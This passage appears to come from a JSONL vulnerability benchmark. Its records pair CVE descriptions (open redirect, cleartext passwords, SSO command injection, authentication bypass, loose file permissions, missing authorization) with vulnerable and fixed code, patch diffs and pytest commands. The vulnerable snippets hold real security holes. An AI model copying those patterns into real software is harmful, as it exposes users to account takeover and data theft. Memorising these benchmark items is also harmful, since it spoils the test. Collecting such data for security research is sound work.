censored)\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\thasSpecial := false\n\t\tfor _, ch := range userName {\n\t\t\tif (ch < 'A' || ch > 'Z') && (ch < 'a' || ch > 'z') && ch != '_' && (ch < '0' || ch > '9') {\n\t\t\t\thasSpecial = true\n\t\t\t}\n\t\t}\n\t\tif hasSpecial {\n\t\t\tsess.SetFlashMsg(\"Username can contain only alphabets, numbers, and underscore.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif models.ProbeUser(userName) {\n\t\t\tsess.SetFlashMsg(\"Username already registered.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif err := validatePasswd(passwd, passwdConfirm); err != nil {\n\t\t\tsess.SetFlashMsg(err.Error())\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif len(email) > 64 {\n\t\t\tsess.SetFlashMsg(\"Email should have fewer than 64 characters.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif isSignupDisabled && !sess.IsUserSuperAdmin() {\n\t\t\tErrForbiddenHandler(w, r)\n\t\t\treturn\n\t\t}\n\t\tmodels.CreateUser(userName, passwd, email)\n\t\tif sess.IsUserSuperAdmin() {\n\t\t\tsess.SetFlashMsg(\"User \" + userName + \" created\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tsess.Authenticate(userName, passwd)\n\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t}\n\ttemplates.Render(w, \"signup.html\", map[string]interface{}{\n\t\t\"Common\":     readCommonData(r, sess),\n\t\t\"next\":       template.URL(url.QueryEscape(redirectURL)),\n\t\t\"IsDisabled\": isSignupDisabled && !sess.IsUserSuperAdmin(),\n\t\t\"SignupMsg\":  models.Config(models.SignupMsg),\n\t})\n})"}], "fix_func": [{"id": "fix_go_91_1", "commit": "1f6313c", "file_path": "views/auth.go", "start_line": "21", "end_line": "52", "snippet": "var LoginHandler = UA(func(w http.ResponseWriter, r *http.Request, sess Session) {\n\tredirectURL, err := url.QueryUnescape(r.FormValue(\"next\"))\n\tif err != nil || redirectURL == \"\" || redirectURL[0] != '/' {\n\t\tredirectURL = \"/\"\n\t}\n\tif sess.IsUserValid() {\n\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tif r.Method == \"POST\" {\n\t\tuserName := r.PostFormValue(\"username\")\n\t\tpasswd := r.PostFormValue(\"passwd\")\n\t\tif len(userName) > 200 || len(passwd) > 200 {\n\t\t\tfmt.Fprint(w, \"username / password too long.\")\n\t\t\treturn\n\t\t}\n\t\tif err = sess.Authenticate(userName, passwd); err == nil {\n\t\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t\t\treturn\n\t\t} else {\n\t\t\tsess.SetFlashMsg(err.Error())\n\t\t\thttp.Redirect(w, r, \"/login?next=\"+redirectURL, http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t}\n\ttemplates.Render(w, \"login.html\", map[string]interface{}{\n\t\t\"Common\":   readCommonData(r, sess),\n\t\t\"next\":     template.URL(url.QueryEscape(redirectURL)),\n\t\t\"LoginMsg\": models.Config(models.LoginMsg),\n\t})\n})"}, {"id": "fix_go_91_2", "commit": "1f6313c", "file_path": "views/auth.go", "start_line": "60", "end_line": "132", "snippet": "var SignupHandler = UA(func(w http.ResponseWriter, r *http.Request, sess Session) {\n\tredirectURL, err := url.QueryUnescape(r.FormValue(\"next\"))\n\tif err != nil || redirectURL == \"\" || redirectURL[0] != '/' {\n\t\tredirectURL = \"/\"\n\t}\n\tif sess.IsUserValid() && !sess.IsUserSuperAdmin() {\n\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tisSignupDisabled := models.Config(models.SignupDisabled) != \"0\"\n\n\tif r.Method == \"POST\" {\n\t\tuserName := strings.TrimSpace(r.PostFormValue(\"username\"))\n\t\tpasswd := r.PostFormValue(\"passwd\")\n\t\tpasswdConfirm := r.PostFormValue(\"confirm\")\n\t\temail := strings.TrimSpace(r.PostFormValue(\"email\"))\n\t\tif len(userName) < 2 || len(userName) > 32 {\n\t\t\tsess.SetFlashMsg(\"Username should have 2-32 characters.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif censored := censor(userName); censored != userName {\n\t\t\tsess.SetFlashMsg(\"Fix username: \" + censored)\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\thasSpecial := false\n\t\tfor _, ch := range userName {\n\t\t\tif (ch < 'A' || ch > 'Z') && (ch < 'a' || ch > 'z') && ch != '_' && (ch < '0' || ch > '9') {\n\t\t\t\thasSpecial = true\n\t\t\t}\n\t\t}\n\t\tif hasSpecial {\n\t\t\tsess.SetFlashMsg(\"Username can contain only alphabets, numbers, and underscore.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif models.ProbeUser(userName) {\n\t\t\tsess.SetFlashMsg(\"Username already registered.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif err := validatePasswd(passwd, passwdConfirm); err != nil {\n\t\t\tsess.SetFlashMsg(err.Error())\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif len(email) > 64 {\n\t\t\tsess.SetFlashMsg(\"Email should have fewer than 64 characters.\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tif isSignupDisabled && !sess.IsUserSuperAdmin() {\n\t\t\tErrForbiddenHandler(w, r)\n\t\t\treturn\n\t\t}\n\t\tmodels.CreateUser(userName, passwd, email)\n\t\tif sess.IsUserSuperAdmin() {\n\t\t\tsess.SetFlashMsg(\"User \" + userName + \" created\")\n\t\t\thttp.Redirect(w, r, \"/signup\", http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tsess.Authenticate(userName, passwd)\n\t\thttp.Redirect(w, r, redirectURL, http.StatusSeeOther)\n\t}\n\ttemplates.Render(w, \"signup.html\", map[string]interface{}{\n\t\t\"Common\":     readCommonData(r, sess),\n\t\t\"next\":       template.URL(url.QueryEscape(redirectURL)),\n\t\t\"IsDisabled\": isSignupDisabled && !sess.IsUserSuperAdmin(),\n\t\t\"SignupMsg\":  models.Config(models.SignupMsg),\n\t})\n})"}], "vul_patch": "--- a/views/auth.go\n+++ b/views/auth.go\n@@ -1,6 +1,6 @@\n var LoginHandler = UA(func(w http.ResponseWriter, r *http.Request, sess Session) {\n \tredirectURL, err := url.QueryUnescape(r.FormValue(\"next\"))\n-\tif redirectURL == \"\" || err != nil {\n+\tif err != nil || redirectURL == \"\" || redirectURL[0] != '/' {\n \t\tredirectURL = \"/\"\n \t}\n \tif sess.IsUserValid() {\n\n--- a/views/auth.go\n+++ b/views/auth.go\n@@ -1,6 +1,6 @@\n var SignupHandler = UA(func(w http.ResponseWriter, r *http.Request, sess Session) {\n \tredirectURL, err := url.QueryUnescape(r.FormValue(\"next\"))\n-\tif redirectURL == \"\" || err != nil {\n+\tif err != nil || redirectURL == \"\" || redirectURL[0] != '/' {\n \t\tredirectURL = \"/\"\n \t}\n \tif sess.IsUserValid() && !sess.IsUserSuperAdmin() {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-22783", "cve_description": "Etherpad <1.8.3 stored passwords used by users insecurely in the database and in log files. This affects every database backend supported by Etherpad.", "cwe_info": {"CWE-312": {"name": "Cleartext Storage of Sensitive Information", "description": "The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere."}}, "repo": "https://github.com/ether/etherpad-lite", "patch_url": ["https://github.com/ether/etherpad-lite/commit/53f126082a8b3d094e48b159f0f0bc8a5db4b2f4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_85_1", "commit": "3e8b426", "file_path": "src/node/db/SessionStore.js", "start_line": "38", "end_line": "45", "snippet": "SessionStore.prototype.set = function(sid, sess, fn) {\n  messageLogger.debug('SET ' + sid);\n\n  db.set(\"sessionstorage:\" + sid, sess);\n  if (fn) {\n    process.nextTick(fn);\n  }\n};"}], "fix_func": [{"id": "fix_js_85_1", "commit": "53f1260", "file_path": "src/node/db/SessionStore.js", "start_line": "38", "end_line": "50", "snippet": "SessionStore.prototype.set = function(sid, sess, fn) {\n  messageLogger.debug('SET ' + sid);\n\n  // don't store passwords in DB\n  if (sess.user && sess.user.password) {\n    sess.user.password = \"PASSWORD_HIDDEN\";\n  }\n\n  db.set(\"sessionstorage:\" + sid, sess);\n  if (fn) {\n    process.nextTick(fn);\n  }\n};"}], "vul_patch": "--- a/src/node/db/SessionStore.js\n+++ b/src/node/db/SessionStore.js\n@@ -1,5 +1,10 @@\n SessionStore.prototype.set = function(sid, sess, fn) {\n   messageLogger.debug('SET ' + sid);\n+\n+  // don't store passwords in DB\n+  if (sess.user && sess.user.password) {\n+    sess.user.password = \"PASSWORD_HIDDEN\";\n+  }\n \n   db.set(\"sessionstorage:\" + sid, sess);\n   if (fn) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-34233", "cve_description": "The Snowflake Connector for Python provides an interface for developing Python applications that can connect to Snowflake and perform all standard operations. Versions prior to 3.0.2 are vulnerable to command injection via single sign-on(SSO) browser URL authentication. In order to exploit the potential for command injection, an attacker would need to be successful in (1) establishing a malicious resource and (2) redirecting users to utilize the resource. The attacker could set up a malicious, publicly accessible server which responds to the SSO URL with an attack payload. If the attacker then tricked a user into visiting the maliciously crafted connection URL, the user\u2019s local machine would render the malicious payload, leading to a remote code execution. This attack scenario can be mitigated through URL whitelisting as well as common anti-phishing resources. Version 3.0.2 contains a patch for this issue.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/snowflakedb/snowflake-connector-python", "patch_url": ["https://github.com/snowflakedb/snowflake-connector-python/commit/1cdbd3b1403c5ef520d7f4d9614fe35165e101ac"], "programing_language": "Python", "vul_func": [{"id": "vul_py_14_1", "commit": "4b1d474", "file_path": "src/snowflake/connector/snow_logging.py", "start_line": 59, "end_line": 72, "snippet": "    def warn(  # type: ignore[override]\n        self,\n        msg: str,\n        path_name: str | None = None,\n        func_name: str | None = None,\n        *args: Any,\n        **kwargs: Any,\n    ) -> None:\n        warnings.warn(\n            \"The 'warn' method is deprecated, \" \"use 'warning' instead\",\n            DeprecationWarning,\n            2,\n        )\n        self.warning(msg, path_name, func_name, *args, **kwargs)"}, {"id": "vul_py_14_2", "commit": "4b1d474", "file_path": "src/snowflake/connector/auth/webbrowser.py", "start_line": 100, "end_line": 174, "snippet": "    def prepare(\n        self,\n        *,\n        conn: SnowflakeConnection,\n        authenticator: str,\n        service_name: str | None,\n        account: str,\n        user: str,\n        **kwargs: Any,\n    ) -> None:\n        \"\"\"Web Browser based Authentication.\"\"\"\n        logger.debug(\"authenticating by Web Browser\")\n\n        socket_connection = self._socket(socket.AF_INET, socket.SOCK_STREAM)\n        try:\n            try:\n                socket_connection.bind(\n                    (\n                        os.getenv(\"SF_AUTH_SOCKET_ADDR\", \"localhost\"),\n                        int(os.getenv(\"SF_AUTH_SOCKET_PORT\", 0)),\n                    )\n                )\n            except socket.gaierror as ex:\n                if ex.args[0] == socket.EAI_NONAME:\n                    raise OperationalError(\n                        msg=\"localhost is not found. Ensure /etc/hosts has \"\n                        \"localhost entry.\",\n                        errno=ER_NO_HOSTNAME_FOUND,\n                    )\n                else:\n                    raise ex\n            socket_connection.listen(0)  # no backlog\n            callback_port = socket_connection.getsockname()[1]\n\n            print(\n                \"Initiating login request with your identity provider. A \"\n                \"browser window should have opened for you to complete the \"\n                \"login. If you can't see it, check existing browser windows, \"\n                \"or your OS settings. Press CTRL+C to abort and try again...\"\n            )\n\n            logger.debug(\"step 1: query GS to obtain SSO url\")\n            sso_url = self._get_sso_url(\n                conn, authenticator, service_name, account, callback_port, user\n            )\n\n            logger.debug(\"step 2: open a browser\")\n            print(f\"Going to open: {sso_url} to authenticate...\")\n            if not self._webbrowser.open_new(sso_url):\n                print(\n                    \"We were unable to open a browser window for you, \"\n                    \"please open the url above manually then paste the \"\n                    \"URL you are redirected to into the terminal.\"\n                )\n                url = input(\"Enter the URL the SSO URL redirected you to: \")\n                self._process_get_url(url)\n                if not self._token:\n                    # Input contained no token, either URL was incorrectly pasted,\n                    # empty or just wrong\n                    self._handle_failure(\n                        conn=conn,\n                        ret={\n                            \"code\": ER_UNABLE_TO_OPEN_BROWSER,\n                            \"message\": (\n                                \"Unable to open a browser in this environment and \"\n                                \"SSO URL contained no token\"\n                            ),\n                        },\n                    )\n                    return\n            else:\n                logger.debug(\"step 3: accept SAML token\")\n                self._receive_saml_token(conn, socket_connection)\n        finally:\n            socket_connection.close()"}], "fix_func": [{"id": "fix_py_14_1", "commit": "1cdbd3b", "file_path": "src/snowflake/connector/snow_logging.py", "start_line": 59, "end_line": 72, "snippet": "    def warn(  # type: ignore[override]\n        self,\n        msg: str,\n        path_name: str | None = None,\n        func_name: str | None = None,\n        *args: Any,\n        **kwargs: Any,\n    ) -> None:\n        warnings.warn(\n            \"The 'warn' method is deprecated, \" \"use 'warning' instead\",\n            DeprecationWarning,\n            stacklevel=2,\n        )\n        self.warning(msg, path_name, func_name, *args, **kwargs)"}, {"id": "fix_py_14_2", "commit": "1cdbd3b", "file_path": "src/snowflake/connector/auth/webbrowser.py", "start_line": 102, "end_line": 187, "snippet": "    def prepare(\n        self,\n        *,\n        conn: SnowflakeConnection,\n        authenticator: str,\n        service_name: str | None,\n        account: str,\n        user: str,\n        **kwargs: Any,\n    ) -> None:\n        \"\"\"Web Browser based Authentication.\"\"\"\n        logger.debug(\"authenticating by Web Browser\")\n\n        socket_connection = self._socket(socket.AF_INET, socket.SOCK_STREAM)\n        try:\n            try:\n                socket_connection.bind(\n                    (\n                        os.getenv(\"SF_AUTH_SOCKET_ADDR\", \"localhost\"),\n                        int(os.getenv(\"SF_AUTH_SOCKET_PORT\", 0)),\n                    )\n                )\n            except socket.gaierror as ex:\n                if ex.args[0] == socket.EAI_NONAME:\n                    raise OperationalError(\n                        msg=\"localhost is not found. Ensure /etc/hosts has \"\n                        \"localhost entry.\",\n                        errno=ER_NO_HOSTNAME_FOUND,\n                    )\n                else:\n                    raise ex\n            socket_connection.listen(0)  # no backlog\n            callback_port = socket_connection.getsockname()[1]\n\n            logger.debug(\"step 1: query GS to obtain SSO url\")\n            sso_url = self._get_sso_url(\n                conn, authenticator, service_name, account, callback_port, user\n            )\n\n            logger.debug(\"Validate SSO URL\")\n            if not is_valid_url(sso_url):\n                self._handle_failure(\n                    conn=conn,\n                    ret={\n                        \"code\": ER_INVALID_VALUE,\n                        \"message\": (f\"The SSO URL provided {sso_url} is invalid\"),\n                    },\n                )\n                return\n\n            print(\n                \"Initiating login request with your identity provider. A \"\n                \"browser window should have opened for you to complete the \"\n                \"login. If you can't see it, check existing browser windows, \"\n                \"or your OS settings. Press CTRL+C to abort and try again...\"\n            )\n\n            logger.debug(\"step 2: open a browser\")\n            print(f\"Going to open: {sso_url} to authenticate...\")\n            if not self._webbrowser.open_new(sso_url):\n                print(\n                    \"We were unable to open a browser window for you, \"\n                    \"please open the url above manually then paste the \"\n                    \"URL you are redirected to into the terminal.\"\n                )\n                url = input(\"Enter the URL the SSO URL redirected you to: \")\n                self._process_get_url(url)\n                if not self._token:\n                    # Input contained no token, either URL was incorrectly pasted,\n                    # empty or just wrong\n                    self._handle_failure(\n                        conn=conn,\n                        ret={\n                            \"code\": ER_UNABLE_TO_OPEN_BROWSER,\n                            \"message\": (\n                                \"Unable to open a browser in this environment and \"\n                                \"SSO URL contained no token\"\n                            ),\n                        },\n                    )\n                    return\n            else:\n                logger.debug(\"step 3: accept SAML token\")\n                self._receive_saml_token(conn, socket_connection)\n        finally:\n            socket_connection.close()"}], "vul_patch": "--- a/src/snowflake/connector/snow_logging.py\n+++ b/src/snowflake/connector/snow_logging.py\n@@ -9,6 +9,6 @@\n         warnings.warn(\n             \"The 'warn' method is deprecated, \" \"use 'warning' instead\",\n             DeprecationWarning,\n-            2,\n+            stacklevel=2,\n         )\n         self.warning(msg, path_name, func_name, *args, **kwargs)\n\n--- a/src/snowflake/connector/auth/webbrowser.py\n+++ b/src/snowflake/connector/auth/webbrowser.py\n@@ -32,16 +32,27 @@\n             socket_connection.listen(0)  # no backlog\n             callback_port = socket_connection.getsockname()[1]\n \n+            logger.debug(\"step 1: query GS to obtain SSO url\")\n+            sso_url = self._get_sso_url(\n+                conn, authenticator, service_name, account, callback_port, user\n+            )\n+\n+            logger.debug(\"Validate SSO URL\")\n+            if not is_valid_url(sso_url):\n+                self._handle_failure(\n+                    conn=conn,\n+                    ret={\n+                        \"code\": ER_INVALID_VALUE,\n+                        \"message\": (f\"The SSO URL provided {sso_url} is invalid\"),\n+                    },\n+                )\n+                return\n+\n             print(\n                 \"Initiating login request with your identity provider. A \"\n                 \"browser window should have opened for you to complete the \"\n                 \"login. If you can't see it, check existing browser windows, \"\n                 \"or your OS settings. Press CTRL+C to abort and try again...\"\n-            )\n-\n-            logger.debug(\"step 1: query GS to obtain SSO url\")\n-            sso_url = self._get_sso_url(\n-                conn, authenticator, service_name, account, callback_port, user\n             )\n \n             logger.debug(\"step 2: open a browser\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-34233:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/snowflake-connector-python\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-34233/bin/python -m pytest test/unit/test_url_util.py test/unit/test_auth_webbrowser.py -v -k \"test_auth_webbrowser_invalid_sso\" && /workspace/PoC_env/CVE-2023-34233/bin/python hand_test.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-34233:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/snowflake-connector-python\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-34233/bin/python -m pytest test/unit/test_auth_webbrowser.py -v \n"}
{"cve_id": "CVE-2023-31123", "cve_description": "`effectindex/tripreporter` is a community-powered, universal platform for submitting and analyzing trip reports. Prior to commit bd80ba833b9023d39ca22e29874296c8729dd53b, any user with an account on an instance of `effectindex/tripreporter`, e.g. `subjective.report`, may be affected by an improper password verification vulnerability. The vulnerability allows any user with a password matching the password requirements to log in as any user. This allows access to accounts / data loss of the user. This issue is patched in commit bd80ba833b9023d39ca22e29874296c8729dd53b. No action necessary for users of `subjective.report`, and anyone running their own instance should update to this commit or newer as soon as possible. As a workaround, someone running their own instance may apply the patch manually.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/effectindex/tripreporter", "patch_url": ["https://github.com/effectindex/tripreporter/commit/bd80ba833b9023d39ca22e29874296c8729dd53b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_245_1", "commit": "b6a510f05443d85451e8660c9f7d40d5ad4d4f49", "file_path": "api/account.go", "start_line": 72, "end_line": 104, "snippet": "func AccountPostLogin(w http.ResponseWriter, r *http.Request) {\n\taccount, err := (&models.Account{Context: ctx.Context}).FromBody(r)\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tvar a1 = &models.Account{Context: ctx.Context}\n\ta1.FromData(account)\n\ta1, err = a1.Get()\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\taccount, err = a1.ValidatePassword(account.Password, \"Password\")\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, \"Invalid username or password!\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tsession, err := (&models.Session{Context: ctx.Context, Unique: account.Unique}).Post()\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\texpiry := time.Now().Add(time.Hour * 15) // TODO: Change this once we've implemented refreshing\n\tSetAuthCookie(w, types.CookieSessionID, session.Key.ID.String(), expiry)\n\tSetAuthCookie(w, types.CookieRefreshToken, session.Refresh, expiry)\n\n\tctx.HandleJson(w, r, account.CopyPublic(), http.StatusOK)\n}"}], "fix_func": [{"id": "fix_go_245_1", "commit": "bd80ba833b9023d39ca22e29874296c8729dd53b", "file_path": "api/account.go", "start_line": 72, "end_line": 104, "snippet": "func AccountPostLogin(w http.ResponseWriter, r *http.Request) {\n\taccount, err := (&models.Account{Context: ctx.Context}).FromBody(r)\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tvar a1 = &models.Account{Context: ctx.Context}\n\ta1.FromData(account)\n\ta1, err = a1.Get()\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\taccount, err = a1.VerifyPassword(account.Password)\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, \"Invalid username or password!\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tsession, err := (&models.Session{Context: ctx.Context, Unique: account.Unique}).Post()\n\tif err != nil {\n\t\tctx.HandleStatus(w, r, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\texpiry := time.Now().Add(time.Hour * 15) // TODO: Change this once we've implemented refreshing\n\tSetAuthCookie(w, types.CookieSessionID, session.Key.ID.String(), expiry)\n\tSetAuthCookie(w, types.CookieRefreshToken, session.Refresh, expiry)\n\n\tctx.HandleJson(w, r, account.CopyPublic(), http.StatusOK)\n}"}], "vul_patch": "--- a/api/account.go\n+++ b/api/account.go\n@@ -13,7 +13,7 @@\n \t\treturn\n \t}\n \n-\taccount, err = a1.ValidatePassword(account.Password, \"Password\")\n+\taccount, err = a1.VerifyPassword(account.Password)\n \tif err != nil {\n \t\tctx.HandleStatus(w, r, \"Invalid username or password!\", http.StatusForbidden)\n \t\treturn\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-14650", "cve_description": "It was discovered that sos-collector does not properly set the default permissions of newly created files, making all files created by the tool readable by any local user. A local attacker may use this flaw by waiting for a legit user to run sos-collector and steal the collected data in the /var/tmp directory.", "cwe_info": {"CWE-732": {"name": "Incorrect Permission Assignment for Critical Resource", "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."}}, "repo": "https://github.com/sosreport/sos-collector", "patch_url": ["https://github.com/sosreport/sos-collector/commit/72058f9253e7ed8c7243e2ff76a16d97b03d65ed"], "programing_language": "Python", "vul_func": [{"id": "vul_py_120_1", "commit": "a89ab38", "file_path": "soscollector/sos_collector.py", "start_line": 43, "end_line": 64, "snippet": "    def __init__(self, config):\n        self.config = config\n        self.threads = []\n        self.workers = []\n        self.client_list = []\n        self.node_list = []\n        self.master = False\n        self.retrieved = 0\n        self.need_local_sudo = False\n        if not self.config['list_options']:\n            try:\n                if not self.config['tmp_dir']:\n                    self.create_tmp_dir()\n                self._setup_logging()\n                self.log_debug('Executing %s' % ' '.join(s for s in sys.argv))\n                self._load_clusters()\n                self._parse_options()\n                self.prep()\n            except KeyboardInterrupt:\n                self._exit('Exiting on user cancel', 130)\n        else:\n            self._load_clusters()"}], "fix_func": [{"id": "fix_py_120_1", "commit": "72058f9253e7ed8c7243e2ff76a16d97b03d65ed", "file_path": "soscollector/sos_collector.py", "start_line": 43, "end_line": 65, "snippet": "    def __init__(self, config):\n        os.umask(0077)\n        self.config = config\n        self.threads = []\n        self.workers = []\n        self.client_list = []\n        self.node_list = []\n        self.master = False\n        self.retrieved = 0\n        self.need_local_sudo = False\n        if not self.config['list_options']:\n            try:\n                if not self.config['tmp_dir']:\n                    self.create_tmp_dir()\n                self._setup_logging()\n                self.log_debug('Executing %s' % ' '.join(s for s in sys.argv))\n                self._load_clusters()\n                self._parse_options()\n                self.prep()\n            except KeyboardInterrupt:\n                self._exit('Exiting on user cancel', 130)\n        else:\n            self._load_clusters()"}], "vul_patch": "--- a/soscollector/sos_collector.py\n+++ b/soscollector/sos_collector.py\n@@ -1,4 +1,5 @@\n     def __init__(self, config):\n+        os.umask(0077)\n         self.config = config\n         self.threads = []\n         self.workers = []\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-32677", "cve_description": "Zulip is an open-source team collaboration tool with unique topic-based threading. Zulip administrators can configure Zulip to limit who can add users to streams, and separately to limit who can invite users to the organization. In Zulip Server 6.1 and below, the UI which allows a user to invite a new user also allows them to set the streams that the new user is invited to -- even if the inviting user would not have permissions to add an existing user to streams. While such a configuration is likely rare in practice, the behavior does violate security-related controls. This does not let a user invite new users to streams they cannot see, or would not be able to add users to if they had that general permission. This issue has been addressed in version 6.2. Users are advised to upgrade. Users unable to upgrade may limit sending of invitations down to users who also have the permission to add users to streams.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/7c2693a2c64904d1d0af8503b57763943648cbe5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_200_1", "commit": "3df1b4d", "file_path": "zerver/views/invite.py", "start_line": 42, "end_line": 93, "snippet": "def invite_users_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    invitee_emails_raw: str = REQ(\"invitee_emails\"),\n    invite_expires_in_minutes: Optional[int] = REQ(\n        json_validator=check_none_or(check_int), default=INVITATION_LINK_VALIDITY_MINUTES\n    ),\n    invite_as: int = REQ(\n        json_validator=check_int_in(\n            list(PreregistrationUser.INVITE_AS.values()),\n        ),\n        default=PreregistrationUser.INVITE_AS[\"MEMBER\"],\n    ),\n    stream_ids: List[int] = REQ(json_validator=check_list(check_int)),\n) -> HttpResponse:\n    if not user_profile.can_invite_others_to_realm():\n        # Guest users case will not be handled here as it will\n        # be handled by the decorator above.\n        raise JsonableError(_(\"Insufficient permission\"))\n    check_if_owner_required(invite_as, user_profile)\n    if (\n        invite_as\n        in [\n            PreregistrationUser.INVITE_AS[\"REALM_ADMIN\"],\n            PreregistrationUser.INVITE_AS[\"MODERATOR\"],\n        ]\n        and not user_profile.is_realm_admin\n    ):\n        raise JsonableError(_(\"Must be an organization administrator\"))\n    if not invitee_emails_raw:\n        raise JsonableError(_(\"You must specify at least one email address.\"))\n\n    invitee_emails = get_invitee_emails_set(invitee_emails_raw)\n\n    streams: List[Stream] = []\n    for stream_id in stream_ids:\n        try:\n            (stream, sub) = access_stream_by_id(user_profile, stream_id)\n        except JsonableError:\n            raise JsonableError(\n                _(\"Stream does not exist with id: {}. No invites were sent.\").format(stream_id)\n            )\n        streams.append(stream)\n\n    do_invite_users(\n        user_profile,\n        invitee_emails,\n        streams,\n        invite_expires_in_minutes=invite_expires_in_minutes,\n        invite_as=invite_as,\n    )\n    return json_success(request)"}], "fix_func": [{"id": "fix_py_200_1", "commit": "7c2693a", "file_path": "zerver/views/invite.py", "start_line": 42, "end_line": 96, "snippet": "def invite_users_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    invitee_emails_raw: str = REQ(\"invitee_emails\"),\n    invite_expires_in_minutes: Optional[int] = REQ(\n        json_validator=check_none_or(check_int), default=INVITATION_LINK_VALIDITY_MINUTES\n    ),\n    invite_as: int = REQ(\n        json_validator=check_int_in(\n            list(PreregistrationUser.INVITE_AS.values()),\n        ),\n        default=PreregistrationUser.INVITE_AS[\"MEMBER\"],\n    ),\n    stream_ids: List[int] = REQ(json_validator=check_list(check_int)),\n) -> HttpResponse:\n    if not user_profile.can_invite_others_to_realm():\n        # Guest users case will not be handled here as it will\n        # be handled by the decorator above.\n        raise JsonableError(_(\"Insufficient permission\"))\n    check_if_owner_required(invite_as, user_profile)\n    if (\n        invite_as\n        in [\n            PreregistrationUser.INVITE_AS[\"REALM_ADMIN\"],\n            PreregistrationUser.INVITE_AS[\"MODERATOR\"],\n        ]\n        and not user_profile.is_realm_admin\n    ):\n        raise JsonableError(_(\"Must be an organization administrator\"))\n    if not invitee_emails_raw:\n        raise JsonableError(_(\"You must specify at least one email address.\"))\n\n    invitee_emails = get_invitee_emails_set(invitee_emails_raw)\n\n    streams: List[Stream] = []\n    for stream_id in stream_ids:\n        try:\n            (stream, sub) = access_stream_by_id(user_profile, stream_id)\n        except JsonableError:\n            raise JsonableError(\n                _(\"Stream does not exist with id: {}. 